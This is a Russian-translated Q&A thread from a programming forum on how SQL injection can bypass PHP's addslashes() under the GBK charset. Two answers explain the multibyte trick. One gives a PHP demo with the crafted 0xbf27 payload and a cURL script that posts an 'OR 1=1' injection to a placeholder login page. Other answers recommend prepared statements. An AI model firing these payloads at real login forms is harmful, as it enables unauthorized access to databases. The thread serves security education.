Примеры SQL-инъекций с помощью addslashes()?


В PHP я знаю, что mysql_real_escape намного безопаснее, чем использование addslashes. Однако я не смог найти пример ситуации, когда addslashes позволил бы выполнить SQL-инъекцию.

Кто-нибудь может привести несколько примеров?

Author: Kate Gregory, 2009-05-14

4 answers

Ну, вот статья, которую вы хотите.

В принципе, способ атаки заключается в том, чтобы заставить addslashes() поместить обратную косую черту в середине многобайтового символа таким образом, чтобы обратная косая черта теряла свое значение, будучи частью допустимой многобайтовой последовательности.

Общее предостережение из статьи:

Этот тип атаки возможен с любой кодировкой символов, где есть допустимый многобайтовый символ, заканчивающийся на 0x5c, потому что addslashes() может быть обманут в создание допустимого многобайтового символа вместо экранирования следующей одинарной кавычки. UTF-8 не подходит под это описание.

 43
Author: chaos, 2012-07-10 21:53:11

Крис Шифлетт четко объясняет на приведенном ниже примере, что, конечно, сработает, если вы попробуете использовать кодировку GBK в своей базе данных. Даже я пробовал, это доказывает, что шансы на внедрение sql есть, хотя они очень малы, но кто-то с хорошими знаниями и возможностями может легко внедрить. Вот пример...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Хотя использование addslashes() или magic_quotes_gpc обычно считается несколько безопасным, использование GBK приведет к они почти бесполезны. Следующий скрипт PHP cURL сможет использовать инъекцию, я надеюсь, что это поможет вам немного лучше понять:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
 4
Author: ScoRpion, 2012-10-19 09:50:53

В качестве дополнения для читателей ответов здесь: Эта ошибка MySQL уже исправлена:)

Кроме того, всегда рекомендуется использовать подготовленные заявления. Это наиболее безопасный способ запуска запросов (и, в некоторых случаях, наиболее эффективный). И это спасло бы вас от этого недостатка.

 3
Author: nico gawenda, 2012-06-30 04:09:44

Mysql_real_escape_string() по сравнению с подготовленными инструкциями четко объясняет, что mysql_real_escape_string() не на 100% безопасен.

Используя mysql_set_charset('GBK') для замены mysql_query("УСТАНОВИТЬ НАБОР СИМВОЛОВ 'GBK'"), строка mysql_real_escape_() может быть на 100% безопасной.

 1
Author: ajaxhe, 2014-07-02 09:01:11